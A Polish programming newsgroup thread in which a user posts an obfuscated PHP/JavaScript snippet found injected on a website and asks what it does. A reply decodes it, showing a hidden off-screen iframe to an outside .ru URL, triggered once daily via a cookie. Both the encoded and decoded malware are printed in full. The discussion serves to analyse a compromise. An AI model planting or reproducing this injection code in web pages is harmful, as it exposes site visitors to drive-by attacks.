Thread View: pl.comp.lang.javascript
3 messages
3 total messages
Started by G.K.
Sun, 22 Sep 2013 16:24
Podejrzany kod na stronie
Author: G.K.
Date: Sun, 22 Sep 2013 16:24
Date: Sun, 22 Sep 2013 16:24
16 lines
5495 bytes
5495 bytes
Witam,
Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go
odkodowac? Co on robi?
if(empty($kcah)) { $kcah = " <script type=\"text/javascript\"
language=\"javascript\">
cqvsd=\"spl\"+\"i\"+\"t\";pah=window;bwpwt=\"0\"+\"x\";olf=(5-3-1);try{--(document[\"body\"])}catch(gqyhlj){iac=false;try{}catch(ybakp){iac=21;}if(1){ecgex=\"17:5d:6c:65:5a:6b:60:66:65:17:5a:70:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:5a:70:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:5a:70:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:5d:66:69:6b:6c:65:58:24:6b:58:6f:60:25:69:6c:26:6b:69:58:5d:25:67:5f:67:1e:32:4:1:17:5a:70:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:5a:70:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:30:30:2c:2b:1e:32:4:1:17:5a:70:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:30:30:2c:2b:67:6f:1e:32:4:1:17:5a:70:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:30:30:2c:2b:67:6f:1e:32:4:1:17:5a:7
0:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:30:30:2c:2b:1e:32:4:1:17:5a:70:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:30:30:2c:2b:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5a:70:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:5a:70:53:1e:17:5a:63:58:6a:6a:34:53:1e:5a:70:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5a:70:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:5a:70:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:6
5:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:5
8:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:
5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5a:70:27:30:1f:20:32:4:1:74:4:1:74\"[cqvsd](\":\");}pah=ecgex;fcbt=[];for(hkzrz=22-20-2;-hkzrz+1380!=0;hkzrz+=1){xdkgc=hkzrz;if((0x19==031))fcbt+=String.fromCharCode(eval(bwpwt+pah[1*xdkgc])+0xa-olf);}pppozq=eval;pppozq(fcbt)}</script>
"; echo $kcah; }
Pozdrawiam,
Grzegorz
Re: Podejrzany kod na stronie
Author: rePeter
Date: Mon, 23 Sep 2013 10:02
Date: Mon, 23 Sep 2013 10:02
62 lines
2679 bytes
2679 bytes
Sun, 22 Sep 2013 18:24:43 +0200
"G.K." <"tertb69[rot13]"@tnmrgn.cy> napisał(a):
> Witam,
> Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go
> odkodowac? Co on robi?
Wstrzykuje ruskiego szpiega ;)
function cy09() {
var static='ajax';
var controller='index.php';
var cy = document.createElement('iframe');
cy.src = 'http://fortuna-taxi.ru/traf.php';
cy.style.position = 'absolute';
cy.style.color = '9954';
cy.style.height = '9954px';
cy.style.width = '9954px';
cy.style.left = '10009954';
cy.style.top = '10009954';
if (!document.getElementById('cy')) {
document.write('
');
document.getElementById('cy').appendChild(cy);
}
}
function SetCookie(cookieName,cookieValue,nDays,path) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0)
nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue) + ";
expires=" + expire.toGMTString() + ((path) ? ";
path=" + path : "");
}
function GetCookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 )
return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 )
end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled) {
if(GetCookie('visited_uq')==55){
}else{
SetCookie('visited_uq', '55', '1', '/');
cy09();
}
}
--
Piotr Grzegorzyca pozdrawia
jedenaste: Nie spamuj
Re: Podejrzany kod na stronie
Author: G.K.
Date: Mon, 23 Sep 2013 18:49
Date: Mon, 23 Sep 2013 18:49
63 lines
2733 bytes
2733 bytes
Dzięki!
W dniu 2013-09-23 12:02, rePeter pisze:
> Sun, 22 Sep 2013 18:24:43 +0200
> "G.K." <"tertb69[rot13]"@tnmrgn.cy> napisał(a):
>
>> Witam,
>> Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go
>> odkodowac? Co on robi?
>
> Wstrzykuje ruskiego szpiega ;)
>
> function cy09() {
> var static='ajax';
> var controller='index.php';
> var cy = document.createElement('iframe');
> cy.src = 'http://fortuna-taxi.ru/traf.php';
> cy.style.position = 'absolute';
> cy.style.color = '9954';
> cy.style.height = '9954px';
> cy.style.width = '9954px';
> cy.style.left = '10009954';
> cy.style.top = '10009954';
> if (!document.getElementById('cy')) {
> document.write('
> ');
> document.getElementById('cy').appendChild(cy);
> }
> }
> function SetCookie(cookieName,cookieValue,nDays,path) {
> var today = new Date();
> var expire = new Date();
> if (nDays==null || nDays==0)
> nDays=1;
> expire.setTime(today.getTime() + 3600000*24*nDays);
> document.cookie = cookieName+"="+escape(cookieValue) + ";
> expires=" + expire.toGMTString() + ((path) ? ";
> path=" + path : "");
> }
> function GetCookie( name ) {
> var start = document.cookie.indexOf( name + "=" );
> var len = start + name.length + 1;
> if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
> return null;
> }
> if ( start == -1 )
> return null;
> var end = document.cookie.indexOf( ";", len );
> if ( end == -1 )
> end = document.cookie.length;
> return unescape( document.cookie.substring( len, end ) );
> }
> if (navigator.cookieEnabled) {
> if(GetCookie('visited_uq')==55){
> }else{
> SetCookie('visited_uq', '55', '1', '/');
> cy09();
> }
> }
>
>
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads